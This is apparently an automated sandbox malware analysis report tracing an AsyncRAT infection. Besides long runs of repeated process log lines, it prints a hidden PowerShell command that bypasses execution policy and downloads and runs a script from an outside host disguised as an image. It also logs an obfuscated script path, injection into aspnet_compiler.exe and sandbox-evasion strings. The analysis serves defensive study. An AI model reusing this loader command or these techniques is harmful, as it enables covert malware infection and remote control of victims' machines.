Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: 21.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25702485170.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.257018be6f0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25702485170.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701854fd0.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701870610.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.257018be6f0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701870610.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025702269000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025701869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 6676, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.0000025701869000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.0000025702269000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp, aspnet_compiler.exe, 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Memory allocated: CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Memory allocated: 2A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Memory allocated: 10C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4461	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5335	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2402	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Window / User API: threadDelayed 9731	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2852	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3576	Thread sleep count: 2402 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5860	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2044	Thread sleep count: 138 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6720	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 5736	Thread sleep count: 255 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 5736	Thread sleep time: -255000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 5736	Thread sleep count: 9731 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 5736	Thread sleep time: -9731000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: aspnet_compiler.exe, 00000015.00000002.3895569228.0000000000D86000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW:
Source: aspnet_compiler.exe, 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: powershell.exe, 00000004.00000002.2022616873.000002E7E2ED0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: aspnet_compiler.exe, 00000015.00000002.3895569228.0000000000D08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000004.00000002.2018457002.000002E7E2CD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\&1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match

File source: amsi64_2216.amsi.csv, type: OTHER

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 412000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 414000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe base: 986008	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe CMD /C pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM CCleanerBrowser.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM aspnet_regbrowsers.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM aspnet_compiler.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM AppLaunch.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM InstallUtil.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM jsc.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM MSBuild.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM RegAsm.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cvtres.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM RegSvcs.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\WindowsHost\MJMDVSAJFXR.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\AXAGFIIEZBBS.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\AMRKKUAMRKKsAMRKKeAMRKKrAMRKKs\PAMRKKuAMRKKbAMRKKlAMRKKiAMRKKc\LMKGJHPBNG.ps1'.replace('AMRKK','')"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM CCleanerBrowser.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM aspnet_regbrowsers.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM aspnet_compiler.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM AppLaunch.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM InstallUtil.exe /F	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM jsc.exe /F	Jump to behavior
